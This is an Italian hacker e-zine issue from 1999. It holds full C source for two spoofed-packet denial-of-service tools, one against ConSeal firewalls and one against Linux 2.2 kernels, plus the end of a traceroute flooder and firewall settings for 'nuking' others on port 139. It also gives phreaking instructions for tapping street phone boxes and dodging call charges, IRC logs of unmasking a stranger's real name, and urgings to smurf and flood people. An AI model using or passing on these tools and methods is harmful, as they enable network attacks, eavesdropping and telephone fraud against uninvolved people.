execl(TRACEROUTE,"traceroute","-w",badwait,cmdline[1],cmdline[2],cmdline[3],cmdline[4],cmdline[5],cmdline[6],cmdline[7],cmdline[8],cmdline[9],NULL); perror("exec: maybe traceroute is not in pre-arranged directory"); exit(1); } if ( waitpid(pid_traceroute, NULL, 0) < 0) { printf("wait error\n"); exit(1); } printf("done\n"); exit(0); } --Fine-- Spero di esservi stato d'aiuto e che abbiate capito il funzionamento, Non fa altro che usare il traceroute con le opzioni che abbiamo visto prima. E questo e' gia' il secondo metodo di realizzare un flooder (ping,traceroute), utilizzando i tools che ci regala linux! Comunque se vorreste realizzarne uno anche voi (dovrete sapere il linguaggio C) fatelo!, iniziando a vedere i sorgenti dei tools che usiamo quotidianamente con linux! ############################################################################## ||||||||||||||||||||||||||||||||||| CONSEAL: RULES E DESTRUCTION ||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||||| ___ __ |||||||||||||||||||||||||||___ |__| |||||||||||||||||||||||||| ___| __| Quanti di voi vorrebbero configurare seriamente il conseal, solo che non ci sono mai riusciti??? Chi di voi vuole nukkare ma non vuole essere nukkato? Ebbene, ora vi mostrero' come settare i rules nel modo che piu' vi garba. Prima cosa aprite il conseal e cliccate su rules. Poi andate su All Network Devices, e qui vi dovrebbe mostrare tutti i servizi da bloccare(block) o lasciare(allow). Vi siete mai chiesti a che servono quelle piccole lettere I e O ??? I sta per Inbound ed indica le connessioni in entrata. O sta per Outbound ed indica le connessioni in uscita. Se volete far partire un nuke alla porta 139 ma allo stesso tempo, volete bloccare le connessioni in entrata alla vostra porta 139, basta che selezionate Block, poi Inbound, poi aggiungete un nuovo servizio e selezionate Allow, poi Outbound. Esempio: In all network devices cliccate su Add, poi su next. Scegliete un servizio qualsiasi basta che sia TCP/IP e come protocollo scegliete appunto TCP/IP. Ora selezionate solo Inbound e cliccate su block. Andate avanti e mettete in local ports 139 TO 139 , mentre in remote ports selezionate un range oppure tutte le porte.Ora cliccate su next ed infine end. Ora bloccate tutte le connessioni alla porta 139 in entrata. Vediamo come fare per lasciare quelle in uscita. Cliccate nuovamente su Add, poi su next. Selezionate un servizio qualsiasi basta che sia TCP/IP e come protocollo selezionate appunto il TCP/IP.Ora selezionae solo Outbound e lasciate solo Allow. Andate avanti e in local port mettete un range di porte o tutte, mentre in remote port inserite 139 to 139. Cliccate su next ed infine end. In questo modo avete configurato il conseal in modo che vi permetta di attaccare alla porta 139. Ora se avete capito il metodo lo potete fare con qualsiasi porta e/o servizio. Avevo pensato di realizzare un rules gia' pronto all'uso, solo che ho capito che le persone lo utilizeranno sensa capire in che modo funzioni, e cosi' ho deciso di spiegarvelo. Ora passiamo dal lato malefico, ovvero come sfruttare un bug del Conseal che ha abilitato il learning mode. Il learning mode e' una funzione del conseal che permette di far scegliere all'utente il destino di pacchetti non identificati nel rules. Se una persona aprira' tante connessioni sfruttando ogni volta una porta diversa e cambiando ogni volta l'IP, con l'host che ha il conseal con il learning mode abilitato, quest'ultimo andra' in crash visto che non riuscira' piu' a contenere il numero delle connessioni tentate e dei nuovi rules scritti di volta in volta . Ma anche se e' abilitato il log mode, cioe' la memorizzazione di tutte le connessioni ricevute ed effettuate, il conseal crashera'. Vediamo il bug realizzato in C e funzionante da linux: ----Taglia Qui---- #include #include #include #include #include #include #include #include #include #include #include #ifdef BROKEN_LIBC #include #else #define u_char unsigned char #define u_short unsigned short #endif struct sockaddr sa; int main(int argc,char **argv) { int fd; int x=1; int hosti=192; int hostii=168; int hostiii=1; int meep=0; int fooport=1; int numpack=0; char funhost[15]; struct sockaddr_in *p; struct hostent *he; u_char gram[36]= { 0x45, 0x00, 0x00, 0x26, 0x12, 0x34, 0x00, 0x00, 0xFF, 0x11, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00, 0x12, 0x00, 0x00, '3','1','3','3','7','8','9','0' }; if(argc!=3) { fprintf(stderr,"Saihyousen, by Noc-Wage\n"); fprintf(stderr,"The faster your connection to the internet is (latency wise, not bandwidth)\n"); fprintf(stderr,"and the lower the CPU speed of the victim will\nincrease probability of success\n"); fprintf(stderr,"usage: %s victim num_of_packets Ex: saihyousen 127.0.0.1 40000\n",*argv); exit(1); }; if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1) { perror("requires RAW SOCKETS"); exit(1); }; #ifdef IP_HDRINCL if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0) { perror("setsockopt IP_HDRINCL"); exit(1); }; #else fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n"); #endif /* The stuff below is so that it's not fully sequential i.e 100.100.100.101, 100.100.100.102 */ for (numpack=0;numpack<=atoi(argv[2]);numpack++) { if (meep==0) { ++hosti; meep++; } if (hosti>254) hosti=1; if (meep==1) { ++hostii; meep++;} if (hostii>254) hostii=1; if (meep==2) { ++hostiii; meep=0;} if (hostiii>254) hostiii=1; sprintf( funhost, "%i.%i.%i.%i",hosti,hostii,hostiii,hosti); (he=gethostbyname(funhost)); bcopy(*(he->h_addr_list),(gram+12),4); if((he=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list),(gram+16),4); fooport++; /* resets the port to 1 if it's nearing the end of possible values */ if (fooport>65530) {fooport=1;}; *(u_short*)(gram+20)=htons((u_short)fooport); *(u_short*)(gram+22)=htons((u_short)fooport); p=(struct sockaddr_in*)&sa; p->sin_family=AF_INET; bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr)); if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1) { perror("sendto"); exit(1); }; /* printf("Packet # %i\n", numpack); */ /* Turn that on to see where you are.. it'll slow the attack though */ }; printf("Attack against %s finished", argv[1]); putchar('\n'); return 1; } ----Fine---- Per proteggervi, da come avrete intuito, basta che disabilitiate il learning mode e il logging mode. Ma se andate sul sito www.signal9.com dovreste trovare la patch che rimedia a questo bug. Eheh, ho accontentato sia gli ircwar sia quelli che hanno bisogno di una buona protezione. :)) ############################################################################## DoS-DoS-DoS-DoS-DoS-DoS-DoS-DoS - DoS X KERNEL 2.2 - DoS-DoS-DoS-DoS-DoS-DoS-DoS-DoS Aglia, purtroppo e' vero! Ieri ho installato il kernel 2.2.9 ed e' gia' uscito un bug! Questo bug e' stato provato su kernel 2.2.7 e 2.2.9 ma si dice che funziona con i kernel di generazione 2.2 Il kernel crasha quando si tenta di mandargli un grande numero di ICMP specifici. Purtroppo non e' una bella notizia per noi linuzziani, penso che su kernel.org potrete trovare la patch. Questo qui di seguito e' il DoS, ed e' solo per linux. -=-=-=-=Taglia Qui=-=-=-=- #include #include #include #include #include #include #include #include #include #include #include #include struct icmp_hdr { struct iphdr iph; struct icmp icp; char text[1002]; } icmph; int in_cksum(int *ptr, int nbytes) { long sum; u_short oddbyte, answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *)&oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } struct sockaddr_in sock_open(char *address, int socket, int prt) { struct hostent *host; if ((host = gethostbyname(address)) == NULL) { perror("Unable to get host name"); exit(-1); } struct sockaddr_in sin; bzero((char *)&sin, sizeof(sin)); sin.sin_family = PF_INET; sin.sin_port = htons(prt); bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length); return(sin); } void main(int argc, char **argv) { int sock, i, ctr, k; int on = 1; struct sockaddr_in addrs; if (argc < 3) { printf("Usage: %s \n", argv[0]); exit(-1); } for (i = 0; i < 1002; i++) { icmph.text[i] = random() % 255; } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("Can't set IP_HDRINCL option on socket"); } if (sock < 0) { exit(-1); } fflush(stdout); for (ctr = 0;ctr < 1001;ctr++) { ctr = ctr % 1000; addrs = sock_open(argv[1], sock, atoi(argv[2])); icmph.iph.version = 4; icmph.iph.ihl = 6; icmph.iph.tot_len = 1024; icmph.iph.id = htons(0x001); icmph.iph.ttl = 255; icmph.iph.protocol = IPPROTO_ICMP; icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) + ((random() % 255) * 65535) + ((random() % 255) * 255) + (random() % 255); icmph.iph.daddr = addrs.sin_addr.s_addr; icmph.iph.frag_off = htons(0); icmph.icp.icmp_type = random() % 14; icmph.icp.icmp_code = random() % 10; icmph.icp.icmp_cksum = 0; icmph.icp.icmp_id = 2650; icmph.icp.icmp_seq = random() % 255; icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024); if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) { if (errno != ENOBUFS) printf("X"); } if (ctr == 0) printf("b00m "); fflush(stdout); } close(sock); } -=-=-=-=Fine=-=-=-=- Questo bug e' uscito il 2 giugno, ed il giorno prima ho installato il kernel 2.2.9! Fate una cosa o vi scaricate la patch, o il kernel 2.3.0 Questo e' tutto! ############################################################################## (----------------------------) Boxaggio: tutti i colori (1) (----------------------------) In questo articolo vi daro' info riguardo tutti i tipi di box che vengono usati nel mondo. La costruzione, gli usi, i rischi. Sta a voi costruirli e vedere se almeno uno funziona nella nostra nazione. Altrimenti prendetela come una lezione di phreaking, teoria da approfondire per gli smanettoni. In questo articoli vedrete le prime 4 box. Iniziamo. --------Beige box-------- ------------ INTRODUZIONE ------------ La beige box non e' altro che un controlla linea. Il nome deriva dal colore della prima box creata dagli inventori(mah). Ora vi spiego come si costruisce. ----------- COSTRUZIONE ----------- La costruzione e' veramente semplice. Per primo, dovete conoscere il concetto della periferica. In un jack modulare, ci sono quattro fili. Questi sono rosso, verde, giallo, e nero. Per una singola linea telefonica, comunque, solo due servono: il rosso (squillo) e il verde (tip). Il giallo e il nero non sono necessari per questo progetto. La beige box ha bisogno solo di queste due cose: il ring e il tip. Hai bisogno di un telefono (raccomando uno a toni analogici) con un una spina modulare, un jack modulare, e due prese ad alligatore (preferibilmente rosso e verde, rispettivamente). Prendi il jack modulare e guarda all'inizio del suo coperchio . Dovrebbe esserci un jack grigio con quattro fili (rosso, verde, giallo, e nero) conducili fuori da esso. Alla fine del filo rosso attaccaci la prese ad alligatore rossa. Alla fine del filo verde attaccaci la presa ad alligatore verde. I fili gialli e neri possono essere rimossi, ma se vuoi puoi rimanerli per i tuoi futuri progetti. Ora inserisci la presa modulare del tuo telefono nello jack modulare. Ecco tutto! Questo modello particolare e' veramente facile da costruire, non e' costoso, e'facile ricavare i pezzi , e' piccolo, e non richiede la distruzione del telefono ----- ---- --- BEIGE BOX: USI ----- ---- --- Ci sono molti usi per la Beige Box. Comunque, prima di usarla, dovete conoscere come attaccarla ad una delle tante scatole telefoniche che si trovano per la strada. Questa scatola puo' essere ogni tipo di apparato di suoneria che include un terminale . Per aprire la maggior parte delle scatole, dovrete procurarvi un conduttore hex di 7/16 pollici. Questo pezzo potete trovarlo nel negozio di elettronica piu' vicino a voi. Con il vostro conduttore hex 7/16 , girate i catenacci di sicurezza di 1/8 di un police in senso orario e aprite. Se la scatola e' bloccata, dovrete avere un po' di conoscenza nel distruggerla. Comunque, noi non abbiamo mai incontrato una scatola bloccata. Una volta aperta, dovreste vedere un insieme di fili connessi ad un terminale. Su molte scatole, il terminale si chiamera' "T" (Tip -- se non e' scritto, di solito si trova sulla sinistra) e "R" (Ring -- se non e' scritto, di solito si trova sulla destra). Ricorda: Ring - rosso - destra. Ora dovrai attaccare la presa ad alligatore rosso (ring) al terminale "R" (ring). Attacca la presa ad alligatore verde (tip) al terminale "T" (tip). NOTA: Se schiacciando i tasti non senti niente, ri aggiusta le prese ad alligatore in modo che non tocchino ogni altro terminale. Inoltre assicurati che siano ben attaccati. Qui ci sono alcune applicazioni pratiche: o Ascoltare le telefonate o Telefonate ai propri amici o Blue Boxing con una grande chance di ridurre la possibilta' che ti sgamino o Qualsiasi altra cosa! Acoltare: --------- Per essere effettivo, prima attacca la Beige Box poi il tuo telefono Questo eliminera' i problemi di elettricita' statica causata dalla connessione della box, riducendo i pericoli anche per la tua vittima. Quando origli, e' sempre meglio non essere visti. Se ascolti qualcuno che telefona, non aver paura; ma piuttosto spegni, aspetta , e rialza La persona attacchera' anch'essa la cornetta o provera' a finire la conversazione. Se riprovera', ascoltalo, e ricaverai molte informazioni Se volete sapere chi state ascoltando , dopo aver chiamato, trattenete un CN/A sul numero. Chiamare gli amici -------- --- ----- Non credo che avete bisogno di molte info a riguardo, ma non dimenticatevi di premere "1" prima del numero. Blue Boxing: ---- ------ Se userai il metodo della Blue Box, sara' molto utile per non essere tracciato. ------ ---------- --- ----- ------ RISCHI POTENZIALI DEL BEIGE BOXING ------ ---------- --- ----- ------ Vi raccomando di seguire i miei consigli perche' la Beige Box porta dei pericoli. o Usa piu' di una scatola o Scegli un posto appartato o Per essere sicuri che non si venga scoperti raccomando di piazzare un pezzo di nastro trasparente sopra le aperture della vostra scatola. In modo che se qualcuno apre la scatola, in vostra assenza, lo saprai subito. --------Black Box--------- Cos'e' una Black Box? Una BLACK BOX e' una periferica che si inserisce sopra il tuo telefono e lo aggiusta anche quando ricevi una chiamata, al chiamante non verra' addebitato nulla. Questo e' buono solo per chiamate fino alla mezz'ora, dopo mezz'ora le compagnie telefoniche si possono insospettire. Come lavora: Questo piccolo aggeggio fa mantenere il voltaggio della linea dalla caduta a 10v quando rispondi al telefono. La linea e' invece mantenuta a 36v e essa fara' in modo che il telefono pensera' che sta squillando ancora mentre tu parli. La reazione per mezz'ora e' che la compagnia non si accorgera' di nulla, mentre oltre la mezz'ora capira' che c'e' qualcosa che non va. Tutti le parti si possono trovare in un qualsiasi negozio di elettronica. Comprando tutte le parti, il costo e' di circa 1500 lire! E questo e' il costo di due di loro! E' veramente un affare! Se vuoi esagerare puoi procurarti un interfaccia con il pc e un interrutore. Ci sono due schemi per questa box, uno e' per i telefoni comuni. Il secondo serve per quei telefoni che non funzionano con il primo. E' stato progettato per usarlo con un telefono touch tone. ** Primo schema per i telefoni comuni ** ** LED ON: BOX ON ** DA >---------------------VERDE-> A LINEA >--! 1.8k LED !---ROSSO-> TEL. !--/\/\/\--!>--! ! ! ------>/<------- SPST Parti: 1 resistore 1.8k di 1/2 watt 1 LED di 1.5v 1 interrutore SPST Dovrai solo avere due fili che connetterai insieme all'interrutore. ** Secondo schema per tutti i telefoni ** ** LED ON: BOX OFF ** DA >----------------VERDE-> A LINEA >------- ---ROSSO-> TEL. ! LED ! -->/<--!>-- ! ! ---/\/\/--- 1.8k Parts: 1 resistore 1.8k di 1/2 watt 1 LED di 1.5v 1 interrutore DPST Ecco l'interfaccia con il PC che vi raccomando. E' molto semplice da costruire e da applicare. #1 Schema #2 Schema ************** **************** * * * ------- * * ----- * * ! ! * * ! ! * * ! * * RESISTOR ! * * ! ! ! * * ! ! * * ! ! / * * -------- ! * * ! ! \ * * ! ! * * ! ! / * * --SWITCH-- * * ! ! \ * L * ! ! * L * ! ! / * I * ! ! * I * ! ! ! * N>RED- -RED>T N>RED- ---RED>T E>-----GREEN---->E E>-----GREEN------>E A * h * L. A * * L. ************** **************** Una volta agganciate tutte le parti, devi vedere quali sono i fili che vanno alla linee e quali vanno al telefono. Questo perche' in effetti il LED deve essere inserito, in una certa direzione. Dipende in quale lato inserisci il LED che controlla quali sono i fili per la linea & telefono. Come trovarlo: Aggancia la box in una direzione usando un set di fili per linea e l'altra per il telefono. *NOTA* Per il modello I l'interrutore dovra' stare su OFF. *NOTA* Per il modello II l'interrutore dovra' essere settato sul lato dove e' connesso il led. Una volta agganciata, alza la cornetta(Mondial casa ti aspetta!) e vedi se il LED si accende. Se non si accendera' sposta i fili e riprova. Una volta che conosci quali sono i cavi, segnali. *NOTA* - Se nessuna direzione funzionera' significa che il tuo interrutore e' inserita in una posizione scorretta. Prova a cambiare posizione. Come usarla: Lo scopo di questa box non e' quello di farvi chiamare tutti, anzi vi potranno chiamare tutti! Senza pagare ovviamente!. Quando la box e' accesa potrete solo ricevere le chiamate. Il tuo telefono squillera' normalmente e il LED sulla box lampeggiera'. Se dopo desideri chiamare basta che spegni la box! NOTA CHE LA BLACK BOX NON FUNZIONA CON TUTTI I SISTEMI DI TELEFONIA! --------Blast Box--------- Questa Box e' stata inventata da Shadow Hawk 1 e non e' una vera e propria box ma il fine e' lo stesso: scroccare! La blast box non e' nient'altro che un piccolo amplificatore , (intorno ai 5 watt) connesso dove c'e' il microfono del tuo telefono. Se viene costruita bene e piccola, puo essere inserita all'interno del tel. Costruzione: La costruzione non e' veramente importante. Potete farla come volete! Uso: Una volta costruita, dovrai solo connettere il microfono all'input dell'ampificatore. Quando tu parli nel telefono, dall'altro telefono verranno fuori voci molto alte. Sta a voi costruirla e addattarla alle vostre esigenze. --------Bud Box--------- Questa e' un'unita' portatile. E' un aggeggio utile per chiamate e per spiare un vicino dalla linea di casa. E' veramente facile da costruire anche senza preoccuparti. Materiali richiesti per costruire una Bud Box ========= ========= === ========= === === === (2) prese ad alligatore (1) un pezzo di telefono o (1) un normale telefono qualche filo (1) saldatore un po' di stagno Contruzione della Bud Box =========== ===== === ==== 1) Taglia il filo che collega il telefono al muro. Dentro dovrebbero esserci 4 fili colorati wires ( vi ricordo che in Italia i fili sono tre: uno rosso uno verde e uno per la massa). Giallo, rosso, verde, e nero. Se i fili non sono colrati, non preoccuparti. Sono quei due in mezzo. 2) Sii certo di tenere circa 50 cm di questo filo connesso al telefono a meno che non usi gli altri fili. Ora slada una presa ad alligatore al filo verde e l'altra al rosso Diciamo che la Bud Box non e' nient'altro che la Beige Box cambiata di nome. Vabbe' cmq io ve l'ho descritta per completezza di informazioni. ############################################################################## :-D :-D :-D :-D :-D :-D :-D :-D :-D Vai avanti tu che a me vien da ridere :-D :-D :-D :-D :-D :-D :-D :-D :-D Ihih, sapere quanto tempo c'e' voluto per l'uscita di questa e-zine? Due giorni! Il primo per fare tutti i disegnini, il secondo per una riveduta generale. E gli articoli??? Beh io ho detto due giorni non due notti, infatti quelli li ho scritti di notte. Che zombie! Volete farvi due risate?? Beh, leggetevi i miei log: La prima volta che ho parlato con zerocool Session Start: Sun Jan 03 13:19:11 1999 Session Ident: ZeroCool (Bisnuk43e@a-mi44-53.tin.it) ? che numero e'? purtroppo 167059059 lo conosci? aspe si ma chiede login passwd e poi una seriale hmm se li hai ti do' un green sita non li ho perche l'ho trovato col phonetag le sto provando tutte ma nada anche io lo uso poi ho anche 167375375 o 167365365 che fino a pochi giorni fa mi facevano collegare con che l e p? cosa non ti chiedeva login e passwd? si ma non li ho ancora scoperti <----- iHiHiHiH! tu quanti ne hai? Session Close: Sun Jan 03 13:35:46 1999 Ihih, sempre indaffarati con i green ma alla fine non ho trovato nessuno che mi facesse collegare. Quando si trattava di green mi comportavo molto da lamer, visto che desideravo molto non dare piu' $$$ alla telekozz. Ma dopo tutte quelle persone bustate, ho capito che e' molto rischioso usarli; infatti continuo a pagare bollette salate! Questo e' un op di un canale nella quale dovevo fare un take. Session Start: Thu Dec 31 18:02:03 1998 Session Ident: ^XXXXXXX^ <^XXXXXXX^> non clonare per favbore e dai per dieci cloni stai facendo un casino Session Close: Thu Dec 31 18:02:11 1998 Questo e' uno alla quale attraverso i vari tools (netstat, tracert ecc.) sono riuscito a sapere nome e cognome. (prima o poi vi spiego come) Session Start: Sun Jan 03 15:52:20 1999 Session Ident: XXXXXX (~e@a-ce4-62.tin.it) ciao ma tu ti chiami Roberto? si come lo sai? hai 27 anni? no mi spiace ne ho 26 Roberto XX XXXX tu? si ma che ne sai? eheheh magia cmq non lo dico a nessuno dai dimmi chi sei nessuno aheeeee iniziamo! dimmi la tua eta dai no ci conosciamo? no e come sai il mio cognome? ti ho fatto uno scherzetto chi sei? segreto professionale uffa! nome? eheheh che sai di me? niente Sai nome e cognome e basta si so vederlo attraverso l'email(ihihih) ok e' strano ,ma non voglio accapezzarci il cervello complimenti facciamo una prova.... ysalv? che??? trova nome e cognome e una prova :-) ehi forse non hai capito mi devi dire il provider ahhhh e lo stesso mio tin? yes aspe vai Allora nome : Salvatore cognome: xxxxxxx cazzo, ma come fai??? eheheheh Session Close: Sun Jan 03 16:03:40 1999 Raga l'altro giorno uno del N.O.P.T. ha cercato di adescarmi ovvero mi ha prima chiesto se ero un hacker, poi se avevo una foto , facendomi credere che lei era una bella ragazza che cercava caxxi giovani. Mi raccomando quando una vi chiama in query due sono le possibilita': 1) O e' una che vi sta prendendo per il culo (vero Angelsmil???) 2) O e' una che cerca di adescarvi Beh, nel primo caso state anche voi al gioco (sempre dati falsi!), mentre nel secondo caso smurfate, floddate, e fate il possibile per togliervela di torno. Esempio (veramente capitato!): sei un hack? Io? Perche'??? Hai una tua foto? No, io odio l'hack Sono un felice sostenitore di Eduardo Freni Bel metodo per adescare, bastardo!!! Connection closed Bel metodo eh? Ihih, bella anche la scusa del sostenitore! Vi assicuro che e' tutto vero ed e' capitato un mese fa' mentre mi trovavo su #amoreggiare e il bastardo, forse accortosi che stavo anche su #hacker.it, mi ha chiamato in query. Cmq state sempre all'erta e in agguato! Beh ora basta prendere dal mio repertorio, qualcuno si potrebbe incazzare :) ############################################################################# SbrOnZ! SbrOnZ! SbrOnZ! ! Cocabuton: yes! ! SbrOnZ! SbrOnZ! SbrOnZ! Raga avete mai sentito parlare del cocabuton??? E' un liquore che e' formato da alcool puro unito all'estratto di cocaina (questo fino a una ventina d'anni fa') il quale, forse dopo un'accusa ai produttori, oggi viene fatto con un'altra sostanza a posto della cocaina. Le mie orecchie appena udirono estratto di.... diedero l'impulso al cervello di dare un bacio a colui che me l'aveva detto, solo che il mio corpo si accorse che chi me l'aveva detto era maschio! Cmq ho assaggiato quello prodotto nei giorni nostri, e vi posso dire che e' veramente buono! Secondo il mio parere assomiglia al Drago Verde (altro liquore ma unito alla marijuana, e non in vendita). Allora pensai: " E se mi metto alla ricerca di una bottiglia con il vero estratto?" Subito mi armai di amici folli, e di molta benzina (non volevo incendiare nulla, solo che se non la mettevamo in serbatoio come uscivamo???) Girai in molti paesi, il quale ognuno aveva molti bar. Moltiplicando il numero dei bar per il numero dei paesi girati arrivai a visitare tanti bar che se li avrei contati sarei arrivato ad una cifra con 6 zeri! Pero' , come si dice da noi, il risultato ne valeva i costi! Infatti alla fine trovai un bar in X. XXXXXX (non ve lo dico!), che esteriormente era molto brutto ma come contenuti...slurp! L'aveva!!! Ci mise davanti ai nostri occhi una bottiglia invecchiata di 15 anni, solo che era a meta', e ne aveva un'altra nascosta che era piena e che avrebbe tenuto per ricordo (boh!!!). L'unico problema e' che ci faceva pagare 5.000 per ogni bicchiere, ma a noi il prezzo non interessava molto! In 5 di noi ci finimmo la bottiglia, ed io mi presi 2 bicchieri :PP Ringraziammo il proprietario (anche lui a noi!) e gli chiedemmo se era possibile acquistare quella bottiglia che aveva nascosta. Ci disse che non era fattibile! Allora, tutti 'mbriaghi, ce ne uscimmo! Quella sera ne combinammo di tutti i colori, ed io parlavo da solo! In fin dei conti l'avevamo assaggiato, ci eravamo divertiti, ma io non ero lo stesso contento. Infatti pensavo a quella bottiglia, a come fregarmela, ma da allora e' rimasto solo un sogno! Beh non vi rimane che andare in giro anche a voi per assaggiarlo, non rimarrete delusi! Non mi prendo la responsabilita' delle vostre stronzate !!! (ihih, neanche delle mie!) ############################################################################# $$$$$$$$$$$$$$$$$$$$$$$$$$ $$$ $$$$$$$$$$$$ $$$ $$$ $$$$$$$$$$$$$$$ $$$$$$ $$$ $$ $$ $$ $$ $$$$ $$$ $$$$$ $$ $ $ $$ $$$$$$ $$$ $$$$$ $$ $$ $$ $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$ *DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR* Tutte le informazioni contenute in questa e-zine sono solo per puro scopo informativo e non dovranno essere usate per altri usi! Se verranno usate per altri scopi, al di fuori di quello educativo, IO, T0rment0, non sono responsabile dei danni che vi causeranno, sia legali che materiali. Se vuoi usare queste informazioni per causare distruzione o azioni illegali, e' un TUO PROBLEMA! ed io non sono responsabile dei danni incorsi! *DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR-DisClAImeR* 0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0 SALUTI =_=_=_=_=_=_=_=_=_=_=_=_=_=_=_= Saluto tutti quelli che mi conoscono...... Si, vabbe! Saluto: TechnoKnight - per il supporto morale S4mron - perche' e' uno ok! N0body88 - perche' sta trascorrendo un brutto momento Lived - Perche' mi rende allegro Angelcry - perche' e' l'unica ragazza seria che conosco Bissio - per avermi fatto credere che mi aiutava CB4 - perche' e' ultramegaindaffarato con l'esame I Bot - perche' mi fanno molta compagnia e poi organizzano sempre dei party... NetMaster - perche' e' un amicone Me stesso - perche' sono l'unica persona su cui contare Fanculo: Tutti i lamer: che non sono quelli che mi chiedono in query "Sai dove posso trovare una guida sull'hacking?" o "Mi sai consigliare qual'e' la miglior distribuzione di Linux?", ma quelli che mi chiedono "Per favore i programmi puoi darmeli gia' compilati" ma cazzo! c'e' il cc per quello, oppure "Se mi dai una shell ti do un green" o "Se mi dai un green ti do una shell" o "Scambi shell o green?". Ma che cazz! Io hackero una shell per una soddisfazione personale non per darle agli altri che ci piazzano su bot eggdrop o i loro DoS preferiti. E poi alla parola green io sostituisco la parola "Fottersiconlepropriemani!" Tutte le persone che su Irc ti giudicano un grande hacker solo perche' gli fai vedere come avviene uno split (bomba al router rulez!) o che piazzi su un canale 200 bot tutti collegati. Tutti quei siti di hacking che stanno nascendo, autoproclamandosi "Grandi hacker", e poi in realta' usano tutti Win e Linux lo conoscono per sentito dire! Che dicono di aver programmato in HTML la loro pag e di scoprire che oltre ad aver levato la stringa "Microsoft Frontpage 3.0", hanno dimenticato "Microsoft Theme" un po' piu' sotto :( A tutti quelli che si installano Linux solo per far vedere agli altri che ce l'hanno! =_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_=_0_= Ok, gente il primo numero e' finito, per qualsiasi domanda, informazione, critiche, suggerimenti o collaborazione, e-mailate a questo indirizzo: xj@boozed.tox . Bye!!!